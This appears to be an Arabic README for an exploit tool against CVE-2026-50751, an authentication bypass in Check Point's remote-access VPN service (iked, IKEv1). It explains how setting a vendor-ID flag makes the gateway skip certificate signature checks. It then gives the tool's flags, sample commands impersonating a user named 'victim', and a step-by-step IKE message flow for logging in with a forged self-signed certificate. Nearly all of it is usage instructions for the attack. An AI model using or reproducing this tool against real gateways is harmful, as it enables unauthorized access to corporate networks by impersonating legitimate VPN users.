
تجاوز المصادقة عبر الشهادة في VPN Remote-Access من Check Point (IKEv1).
تجاوز المصادقة عبر الشهادة في VPN Remote-Access من Check Point (IKEv1).
CVE-2026-50751 هو تجاوز للمصادقة في خدمة iked الخاصة بـ Check Point، موجود في الإصدارات R81.10 وR82 وR82.10 بدون الإصلاح السريع sk185033. يسمح هذا الخلل بالمصادقة كأي مستخدم Remote Access مُهيَّأ دون مفتاح خاص، ودون كلمة مرور، ودون شهادة صالحة.
يقرأ iked المصاب علامة من Vendor ID VPNExtFeatures (البت 0x4)، وإذا كانت مُفعَّلة، يتخطى verify_peer_auth / verifyMessagePhase1. ونتيجةً لذلك:
لا يتم التحقق من توقيع الشهادة (إثبات الحيازة).
لا يتم التحقق من سلسلة الثقة.
يتم فقط التحقق من أن subject DN يُحلّ إلى مستخدم مُهيَّأ.
يكفي تزوير شهادة موقّعة ذاتيًا يكون فيها CN= مطابقًا للمستخدم الهدف وإرسالها مع توقيع غير صالح. إذا قبل البوابة المرحلة الأولى، نكون قد صادقنا كذلك المستخدم (يُحفظ SA ISAKMP تحت DN الخاص به).
يعمل عبر IKE (UDP 500/4500) وعبر Visitor Mode (TCPT، TCP 443).
الصيغة
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | الوصف | الافتراضي |
|---|
-host | IP أو hostname للبوابة (إلزامي) | — |
-user | اسم مستخدم RA المراد انتحاله (إلزامي) | — |
-port | المنفذ: 500، 4500 (UDP) أو 443 (TCPT) | 500 |
-org | المؤسسة (O=) الخاصة بـ ICA. إذا تم حذفه، يُستمد من شهادة TLS | — |
-ou | الوحدة التنظيمية (OU=) للمستخدم | users |
-timeout | المهلة لكل عملية | 6s |
-retries | إعادة محاولات msg1 | 1 |
-v | إخراج مطوّل | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
المهاجم البوابة (iked المصاب)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ يقرأ العلامة 0x4
│ │ يضع verify_peer_auth = skip
│◀── msg2: SA مقبول ───────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ يشتق SKEYID، SKEYID_e، IV │
│ │
│─── msg5 (مشفَّر): ID=DN مزوَّر + CERT موقّع ذاتيًا │
│ + توقيع عشوائي ──────────────────────▶│
│ │ يتخطى التحقق
│ │ من التوقيع
│ │ يحل DN → مستخدم
│◀── msg6 (مشفَّر): SA مُنشأة ──────────────────────────────│
│ │
│ يفك تشفير msg6 باستخدام SKEYID_e → إثبات المصادقة │